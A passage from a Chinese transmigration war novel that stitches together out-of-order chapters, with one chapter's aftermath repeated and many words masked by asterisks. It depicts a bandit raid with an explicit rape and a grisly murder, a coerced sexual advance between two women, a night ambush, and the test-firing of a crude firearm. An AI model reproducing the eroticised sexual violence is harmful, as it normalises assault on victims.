被捆绑着双手,嘴里又被塞进了一团破布的翠儿,使劲地用脚踢着旁边的桌椅。
“**……都……走了……”
炕上娟儿的声音,依旧带着无比的惊恐,努力地向炕沿滚了过来。
“扑通!”
又是一声重物落地的声音。
掉在地上的娟儿,差点就砸在翠儿的身上,幸好,被绑着的手,正好摸到了翠儿嘴巴外面露着的布团。
使劲一拉之下,“哇”的一声,被憋青了脸的翠儿,这才长出了一口气。
黑暗中,二人一番拉扯,背靠着背,相互解开了对方身上的绳子。
“我们,还活着?”
大口呼吸着的翠儿,突然摸到了自己小裤被撕裂的部位,惊恐的就是一问。
“我们还活着……他们……没杀我们……”
娟儿在地上缩成了一团,嘤嘤地哭了起来。
“还哭个屁!”
翠儿在黑暗中骂了一句,侧着耳朵,努力地又听了听外面的动静,良久,又道:“这世道,能活着就不错了,其他都不重要。”
“可是那畜生,他祸害了我,我下边好疼啊……”
说着,娟儿又抽泣了起来。
在确定那些人已经走了后,翠儿摸索着从地上站起来,边找火燧,边骂道:“哭哭哭,哭个鬼,你现在才知道那些臭男人的可怕了?”
蜡烛,被摸到了火燧的翠儿重新点了起来。
借着烛光,一瞥娟儿裸露着的腿根里一片血污时,翠儿脸上闪过
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一丝不屑的神情。
“还是本姑娘对你好,那些臭男人,他们只有伤害我们女人,好像我们女人天生下来就是供他们糟蹋的。”
一脸冷漠的翠儿,喋喋不休地发着牢骚。
思忖片刻,突然又惊道:“快,出去看看,张婶那老婆子,怎的没一点动静?”
这一声,吓得娟儿又是一哆嗦。
主仆二人,手拉着手,小心翼翼地出了屋子,摸到张婶住的屋子门口,这才发现,屋子的门,是大开着的。
一种不祥的预感,即刻涌了上来。
“张……婶……”
娟儿颤抖着轻声叫了一下。
没人应答。
“张婶,家里都进贼了,你还在睡……”
已经意识到不妙的翠儿,装起胆子也是一问。
黑洞洞的屋里,没有丝毫的应答。
“快,拿烛火过来!”
心里一慌的翠儿,赶忙让娟儿去屋里拿蜡烛。
“我,怕!”
娟儿抖个不停,一个劲地往翠儿的身后躲。
一股冷风吹来,小裤被从后面撕开的翠儿,不禁打了个冷颤。
这一下,她也怕了起来。
二人再顾不上查看张婶的动静,跌跌撞撞就回到正屋,爬上炕后,拥着被子紧紧抱成一团只等天亮。
不知过了多久,迷迷糊糊中,外面的天色已经大亮。
“啊……”
视线所及之处,翠儿发现,屋里早已经被翻了个底朝天。
就是屋子地上码着的几只装有重要东西的箱子,也全都不翼而飞。
“快,去外面看看!”
这下,翠儿慌了,嘴唇一阵急抖,跳下炕去就往外冲。
“张婶她,**……”
随着翠儿的尖叫,紧跟了出来的娟儿,此时看到隔壁屋子里的张婶,一张惨白的脸转向身后面朝屋顶。
可倒在地上的张婶光溜溜的身子,却是趴在地上的,这一点,从屁股的方向就可以辨别。
她的脑袋,是被人拖出被窝后,直接给拧到了身后才死的。
再看存放物件的两间屋子,里面已经是空空如也,那些从通天驿镇,被分几次运来的箱子和口袋,被搬运得一件都不剩。
“该死的强盗……”
面对如此情景,翠儿大叫一声就昏死过去。
第163章 你**,欠我的那些银子谁还?
村子不大,也就一百多户人家。
不一会,马成来报。
“大人,村外靠山脚,有一座庙。”
“好!”
叶十三点点头,目光看向香香郡主,道:“我们去庙里,周围没有农舍遮挡,也好发现敌人。”
“听你的。”
香香郡主这会,已经是完全没了主意,兵书上学的东西,此时已经抓瞎,只好任由叶十三安排。
“都听好了,跟着马成,战马一匹都不能丢。”
不大时候,到了山脚的破庙。
庙宇不大,房间也少,只是围墙高于那些农舍的院墙。
叶十三略扫一眼庙院,道:“战马全部拴在那边,其余人都上大殿集合。”
此时的庙里,守庙的人已经跑了个精光,就连殿后灶间的铁锅,都被带走了。
天色已经黑了下来,但庙里有着不少的蜡烛。
霎时,塑着不少神像的大殿中,蜡烛点燃后即刻就亮堂了起来。
卫兵们一脸的紧张,没有一个人主动说话。
“清点你们所带的箭簇,集中起来平均分配给步弓手。”
叶十三扫了一眼苏哲带着的卫兵们,直接进行了部署。
“都聋了?”
香香郡主狠瞪苏哲一眼,沉声道:“叶将军的话,你们都没听见?”
这一声怒斥,卫兵们纷纷解下背上的箭囊,开始清点起箭簇的数量。
“步弓手出列!”
叶十三目光灼灼,盯得卫兵没心里一阵发毛。
“听叶将军的。”
香香郡主又补一句。
顿时,二十三人出列,站在叶十三面前。
“好!”
叶十三点点头,目光看向马成,沉声道:“你,带着他们,占据有利地形,五十步**杀来犯敌人。”
然后,叶十三把视线移动到苏哲脸上,又道:“剩下一十八人,加上我的十人,由你带着,中箭不死者,或者漏射之敌,由你带着他们分头补杀。”
“遵命!”
苏哲面颊一抽,单腿跪地就是一个军礼。
“都给我听清了,我们已经没了退路,也许会陷入**兵的包围,在突围前歼灭所有来犯之敌。”
叶十三沉着脸,一下子就道破了他们这些人的处境。
香香郡主娇躯一震,低声道:“我们被包围了吗?”
“嗯!”
叶十三点点头,道:“来犯之敌的数量,远多于我们这些人,我们要是向镇上方向撤退,还是免不了被**骑兵围剿,与其被人追杀,不如就地狙击。”
“怕了?”
说完,叶十三又是一句。
“你才怕了!”
香香郡主柳眉倒竖,顿时一句就怼了回来。
“那好!”
叶十三点点头,道:“我们出去看看。”
两拨人即刻行动起来,马成和苏哲,分头在破庙的四周寻找最佳的狙击位置。
叶十三转了一圈,指着院中一块空地,向几个伤兵说道:“点起篝火,把敌人引过来。”
香香郡主闻言,惊道:“如此一来,我们岂不是亮在了明处?”
“没错!”
叶十三点点头,缓缓说道:“与其让**骑兵们四处搜寻我们,不如把他们集中起来**这边,如此一来,亮在明处的,岂不就是他们?”
此言一出,香香郡主被惊得张大了嘴。
呆愣片刻,这才说道:“你来边城短短时日,从何学得如此战术?”
“说了你也未必懂!”
叶十三一笑,卖了个关子。
香香郡主杏眼圆睁,愠怒道:“但你还没说给我听,哪知我懂与不懂?”
这话,叶十三还真没法说。
总不能给这个傻白甜说他是从前世的现代,魂穿到古代的今天?
就在这时,马成奔了过来。
“大人,小的听地辩声,已经有**兵向这边而来。”
叶十三一凛,道:“果然有大队人马。”
“吩咐下去,先隐蔽好了,避免**射杀。”
叶十三又交代一句。
这话没错,你能部署步弓手设伏,难道擅长骑射的**骑兵就不用弓箭?
马成一转身,沉声向步弓手们说道:“各自占领有利位置,五十步以外不可放箭,瞄准敌人的眼睛和咽喉,务必做到一箭命中。”
不愧是烽燧兵中优秀的步弓手,实战经验就是了得。
眼下是夜间,敌我悬殊又大,盲目乱射,只能消耗自己仅有的箭簇。
而且,这次越境来犯之敌,那可是元蒙**中有着战甲装备的骑兵,不是那些白身牧民。
无论是革甲还是铁甲,箭簇都不容易穿透。
只有眼睛和脖子,那可是裸露的部位,被射中后照样能让敌人丧失战斗力。
“瞄准了再射,射杀一个**骑兵,本郡主有赏。”
香香郡主也没闲着,冲马成画了个
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饼。
草!
叶十三面颊一抽,不由得把嘴一撇。
这傻白甜,动不动就悬赏许愿,到头来还不是从老子口袋里拿银子。
可真是羊毛出在猪身上,前几天借的银子,到现在还没还老子呢!
“谢郡主!”
马成拱手一礼,转身就去设伏。
三名伤兵已经找来木柴,在叶十三指定的地方,堆放起来拿火燧点燃。
不多时,熊熊火光照亮了半个破庙。
那些拴着的战马,被惊得嘶鸣不停。
远处折返回来的**兵们,纷纷向破庙方向疾驰而来。
从那些高举着的火把来看,**兵的人数,应该不下二百数。
叶十三判断,这些人数,有可能只是一部分。
院中的火光越亮,卫兵们埋伏处的阴影就越黑。
片刻间,无数的火把已经到了破庙外百步左右,马蹄声夹杂着**兵的脚步声,一起向火光亮起的地方涌了过来。
火堆是放在庙宇大殿的正前方燃着,如此一来,庙宇左右,围墙的拐角处,都被陷入了一片黑影之中。
叶十三站在大殿内的窗户一侧,隔着窗户的木棂,看到外面的火把,已经快到围墙外面。
映着火把的光照,向破庙包围过来的**兵里面,身穿铁甲的兵数足有三成以上。
“好啊!老子饿一顿饭,熬一夜的瞌睡,值了!”
叶十三咬着牙,眼里寒芒顿起。
香香郡主不禁拽了叶十三衣襟一下,悄声道:“我怕外面他们顶不住。”
显然,对于悬殊的兵力,香香郡主已经怯了。
“别怕,到时候,我给上面报你的战损。”
叶十三脸都没转,张口就是一句。
“混蛋,你就那么盼着我死?”
愠怒上头的香香郡主,张口也是一句怼了过来。
“当然不是,我要让你好好活着。”
叶十三突然笑了。
“这还差不多,像句人话。”
香香郡主也笑了,在黑暗中露出一口整齐的白牙。
“你**,欠我的那些银子谁还?”
叶十三骤然变脸,又是一句甩了过来。
“滚,别和我站一起。”香香郡主勃然大怒,骂回一句,霎时就转过头去,不再理睬叶十三。
此时,隔着床棂,已经看到**兵们不足庙门三十步距离。
这马成,该不会是被吓得晕过去了吧?
第196章 **横空出世
“曹三锤?”
叶十三缓缓抬头。
“是的将军。”
林老幺点点头,怅然又道:“世上巧匠颇多,但这边城并不常见,多年前,小的偶然间在黄羊岘发现一人,此人就是曹三锤。”
叶十三摆摆手,笑道:“不就一把铁砂么,我屯田村有的是铁匠,这些玩意,均由他带人打造而成。”
斜瞥林老幺一眼,叶十三得意道:“没你说的那么玄乎,好匠人,本将手下多的是。”
“大人……”
马成上前,面带尴尬地一笑。
“有屁就放!”
叶十三见马成吞吞吐吐,欲言又止的样子,眼睛一瞪就骂:“一个大老爷们,说话痛快点。”
马成面颊一抽,讪笑道:“前院铁匠铺的曹瘸子,绰号好像就叫曹三锤来着。”
“啊……”
这下,该轮到叶十三尴尬了。
“就他?”
叶十三眼睛又是一瞪。
“是的将军!”
马成面上一阵得意,又道:“听说,这曹瘸子,原本不是土生土长的边城人氏,好像,好像……”
说着话的马成,突然又磕巴起来。
“有屁快放!”
叶十三狠剜马成一眼,吓得马成浑身一抖。
稳稳神后,马成硬起头皮,道:“好像这个曹瘸子,和大人您一样,也是遭贬发配到这边城的充军之人,据说他之前,曾经是朝廷铸造办的在册工匠……”
草!
这**,老子中奖了?
一个满脸沧桑的老铁匠,居然也是被充军之人,而且还来自朝廷的铸造办?
铸造办那是什么地方?
那可是荟萃了民间能工巧匠的官办制造司所属的铸造办。
“还有这事?”
叶十三一怔,随即就笑了。
目光一瞥林老幺,道:“铁砂是好铁砂,眼下就试试你的**了。”
“将军……”
林老幺面上一紧,目光盯着叶十三手中的**,狐疑道:“将军是要让**把铁砂,从此物中催射出去?”
到底是做烟花的,对于烟火的各种作用,那是一通百通。
“正是!”
叶十三点点头,把**立在地上,又道:“依你之见,这每次半把铁砂,需要多少**量,才能催射出最远的射程?”
这话没错!
叶十三是懂火器,但并不掌握这种初级火器的**使用量。
这量要是少了,枪口就像放烟火一样一闪即灭。
**的量要是超了,**承受不住瞬间的燃烧压力,会导致枪膛后部**的。
前世的现代,早已经淘汰了这种落后的火器。
在一个高精尖的**时代,**枪已经进入了军事博物馆。
叶十三只是知道**枪是**的先祖,但并没有使劲使用过,只是凭着专业知识能绘出**枪的原理构造图而已。
至于**量和****当量的计算,他是无法办到的,只有依赖这种民间手艺人的经验了。
“本将就是这个意思!”
叶十三掂了掂手中的**,望着另一只手心的半把铁砂,肯定道:“一次填多少药?这可是个关键。”
林老幺到底是行家里手,接过**后,先是目测了**的长度,又瞅了瞅**的口径,眯着眼睛沉声片刻,突然道:“只有多试几次了,就怕一次多了,会毁了此物,更怕造成伤人的事来。”
“那好,就依你!”
说着,叶十三从怀里摸出一只细细的牛角。
牛角很细,看得出来是从一根长牛角的尖端,再截取下来的一节。
叶十三用牛角往**里面添灌**,在灌装到第三下的时候,被林老幺发声叫停。
“将军,不敢再多了。”
其实,牛角的空心部位,每次只能灌进一撮**。
就是连着三下,也没多少的量。
可林老幺有着天生的职业谨慎,宁可多实验几次,也不想为了图个快而冒险。
“那就先这么些吧!”
叶十三说着,拿过一根三尺来长的细铁条,从枪口伸入里面,不停地捣着。
林老幺大气都不敢出,眼睛紧紧盯着叶十三的动作。
“停!”
捣药的动作,又被林老幺突然叫停。
“将军,可不敢
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再捣了,就怕太过瓷实,炸开这铁管的可能都有。”
这一点,叶十三清楚。
**要是捣得太瓷实,被点燃后,热量及时散发不出的话,枪就会在手里炸膛。
但要是**底部的**太过松散,那么燃烧起来就没有足够的力量。
“引子呢?”
叶十三停止了捣药,往枪口塞了指头蛋大的一个棉纸团,然后灌了半把铁砂进去。
望着叶十三伸过来的手,林老幺从一只最小的藤条箱子里面,拿出一个不足小拇指头的指甲盖大,微微凸起的小纸泡,道:“将军,此物最怕明火和大力挤压,保存更要慎重。”
叶十三知道,这个引**,那可是配方不同的黄**,存放不当,极易发生**。
引**被安装在**后面的一只引火嘴上,然后被扣上了鸡头。
整个鸡头,就像一只简化了线条勾勒的公鸡脑袋。
这是叶十三凭着记忆,苦思冥想了好几个半夜,这才绘制出这么个玩意儿来。
在眼下的古代,要造出一支带****来,依照目前的金属稀缺性和冶炼技术,那是根本不用想的。
能造出这种靠引**被击发后,再点燃枪膛中**的构造装置,已经是让叶十三绞尽脑汁了。
“闪开,都闪开!”
填好了黑**,又灌装了铁砂,然后扣上了黄**的引**后,叶十三平端着**,大步就走向外面。
这一声喊,外面的兵卒们,纷纷闪向两边。
此时,马成已经拿来了一只刚缝制好了的马皮袋子,袋子里面已经被灌满了雪。
“把马皮人偶,给老子放远一点,立稳了。”
叶十三大吼着,眯起一只眼睛,紧盯着枪口方向。
马成扛着一人高的马皮人偶,飞快地在一百步远的地方,把人偶稳稳地给立了。
说是人偶,其实就是个空心马皮袋而已。
远远望去,就像立了一根粗大的木桩。
瞄是瞄准了,可手指抠向**的时候,叶十三自己,也不由得把眼睛一闭。
那一瞬间的紧张,让他的心狂跳个不停。
第207章 遭遇**
“噗!”
娟儿吹熄了蜡烛,然后爬上了炕。
“我还是喜欢你这般温婉的女子,那些臭男人,我一看到就恶心。”
翠儿伸过一条胳膊,把上了炕的娟儿,顺手就揽进怀里。
“我怕……”
被翠儿搂着,娟儿浑身打了个哆嗦,不自在地说道:“还是分开睡吧,这样,我真有些害怕。”
“怕什么?”
翠儿淫邪地一笑,把娟儿使劲往怀里一拉,一只手就伸进了娟儿的内衣里面。
“我真怕!”
就像被火烫着了一样的娟儿,即刻就起了一身的鸡皮疙瘩,让同为女人的翠儿如此搂着,她真不知道如何是好?
不多时,娟儿的呼吸粗重起来。
而翠儿更是变本加厉,几乎是压在了娟儿有些轻颤的身子上面。
“有人,外面好像有人?”
一阵吃疼之下,猛然睁开眼睛的娟儿,看到窗户外似乎有火把在院子里亮着。
“别动,习惯了就好,我知道你还不适应这样……”
翠儿呢喃着,企图用嘴堵住娟儿的嘴,来阻止娟儿找借口说个没完。
“真的有人,外面有火把,好多火把。”
被压在翠儿身下的娟儿,惊恐地叫出声来,使劲地把几近疯狂起来的翠儿往下推。
“哐当!”
就在这时候,屋门被从外面破开。
一股子羊油“哔哔叭叭”燃烧的声响,惊得翠儿一骨碌就从娟儿身上滚落下来。
“你们,什么人……”
话没完全出口,翠儿被闯入者一把攥住头发,狠狠地甩在地上。
**?
眼睛睁得老大的娟儿,差点就尿被窝里了。
谁也没有料到,这**说来就来?
外面没有放火,没有喊杀声,这一睁眼,**举着火把手提弯刀,就已经站前炕前。
“捆了!”
为首的**黑巾蒙面,一挥手就指使两名**上前,把地上的翠儿,还有炕上缩成一团的娟儿,全给背着双手捆了个结实。
“去,麻利点,抓紧时间!”
为首的**淫邪地扫了一眼被捆绑成了个粽子的主仆二人,扬扬手,把进了屋里的几个**指使了出去。
“该老子享受了……”
为首的**粗鲁地把地上的翠儿,提了起来搭在炕沿又道:“落在老子的手里,管你是谁?让你好好尝尝老子的厉害。”
“刺啦……”
面朝下被摁着的翠儿,身后的小裤,已经被一双大手撕成了两扇,露出女人家最隐秘的地方。
“啊……”
已经肝胆俱裂的翠儿,在一声撕心裂肺的喊叫下就两眼一黑……
此时,同样被捆成了一团,扔在炕脚的娟儿,这下真的尿了一炕。
不知过了多久,粗糙的喘息声停了,屋里漆黑一片,整个院落,也陷入了一阵可怕的死寂。
“扑通!”
翠儿从炕沿掉在地上的响声,把炕脚昏死过去的娟儿给惊醒了过来。
“翠儿姑娘……你……在哪里……”
“呜呜……”
被捆绑着双手,嘴里又被塞进了一团破布的翠儿,使劲地用脚踢着旁边的桌椅。
“**……都……走了……”
炕上娟儿的声音,依旧带着无比的惊恐,努力地向炕沿滚了过来。
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又是一声重物落地的声音。
掉在地上的娟儿,差点就砸在翠儿的身上,幸好,被绑着的手,正好摸到了翠儿嘴巴外面露着的布团。
使劲一拉之下,“哇”的一声,被憋青了脸的翠儿,这才长出了一口气。
黑暗中,二人一番拉扯,背靠着背,相互解开了对方身上的绳子。
“我们,还活着?”
大口呼吸着的翠儿,突然摸到了自己小裤被撕裂的部位,惊恐的就是一问。
“我们还活着……他们……没杀我们……”
娟儿在地上缩成了一团,嘤嘤地哭了起来。
“还哭个屁!”
翠儿在黑暗中骂了一句,侧着耳朵,努力地又听了听外面的动静,良久,又道:“这世道,能活着就不错了,其他都不重要。”
“可是那畜生,他祸害了我,我下边好疼啊……”
说着,娟儿又抽泣了起来。
在确定那些人已经走了后,翠儿摸索着从地上站起来,边找火燧,边骂道:“哭哭哭,哭个鬼,你现在才知道那些臭男人的可怕了?”
蜡烛,被摸到了火燧的翠儿重新点了起来。
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思忖片刻,突然又惊道:“快,出去看看,张婶那老婆子,怎的没一点动静?”
这一声,吓得娟儿又是一哆嗦。
主仆二人,手拉着手,小心翼翼地出了屋子,摸到张婶住的屋子门口,这才发现,屋子的门,是大开着的。
一种不祥的预感,即刻涌了上来。
“张……婶……”
娟儿颤抖着轻声叫了一下。
没人应答。
“张婶,家里都进贼了,你还在睡……”
已经意识到不妙的翠儿,装起胆子也是一问。
黑洞洞的屋里,没有丝毫的应答。
“快,拿烛火过来!”
心里一慌的翠儿,赶忙让娟儿去屋里拿蜡烛。
“我,怕!”
娟儿抖个不停,一个劲地往翠儿的身后躲。
一股冷风吹来,小裤被从后面撕开的翠儿,不禁打了个冷颤。
这一下,她也怕了起来。
二人再顾不上查看张婶的动静,跌跌撞撞就回到正屋,爬上炕后,拥着被子紧紧抱成一团只等天亮。
不知过了多久,迷迷糊糊中,外面的天色已经大亮。
“啊……”
视线所及之处,翠儿发现,屋里早已经被翻了个底朝天。
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这下,翠儿慌了,嘴唇一阵急抖,跳下炕去就往外冲。
“张婶她,**……”
随着翠儿的尖叫,紧跟了出来的娟儿,此时看到隔壁屋子里的张婶,一张惨白的脸转向身后面朝屋顶。
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“该死的强盗……”
面对如此情景,翠儿大叫一声就昏死过去。